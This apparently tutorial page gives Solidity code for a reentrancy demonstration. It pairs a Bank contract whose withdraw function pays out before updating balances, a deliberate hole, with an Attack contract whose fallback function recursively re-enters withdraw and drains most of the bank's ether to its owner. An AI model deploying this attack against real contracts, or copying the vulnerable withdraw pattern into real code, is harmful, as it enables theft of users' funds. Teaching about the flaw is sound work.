赞
踩
pragma solidity ^0.4.0; contract Bank { address owner; mapping (address => uint256) balances; constructor() public payable{ owner = msg.sender; } function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw(address receiver, uint256 amount) public{ require(balances[msg.sender] > amount); require(address(this).balance > amount); // **使用 call.value()()进行ether转币时,没有Gas限制,用call调用会触发attack的fallback函数** receiver.call.value(amount)(); // receiver.send(amount); balances[msg.sender] -= amount; } function balanceOf(address addr) public view returns (uint256) { return balances[addr]; } function getBank() public view returns(uint){ return this.balance; } } contract Attack { address owner; address victim; constructor() public payable { owner = msg.sender; } function setVictim(address target) public{ victim = target; } function step1(uint256 amount) public payable{ if (address(this).balance > amount) { victim.call.value(amount)(bytes4(keccak256("deposit()"))); } } function step2(uint256 amount) public{ victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,amount); } // selfdestruct, send all balance to owner function stopAttack() public{ selfdestruct(owner); } function startAttack(uint256 amount) public{ step1(amount); step2(amount / 2); } function () public payable { if (msg.sender == victim) { // 再次尝试调用Bank合约的withdraw函数,递归转币 victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,msg.value); } } function getBank() public view returns(uint){ return this.balance; } /*function getAddress() public view returns(string memory){ return address(this); }*/ }
初始银行有50wei,attack有10wei
按照代码顺序对Bank攻击后,attack合约获得银行绝大部分余额
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。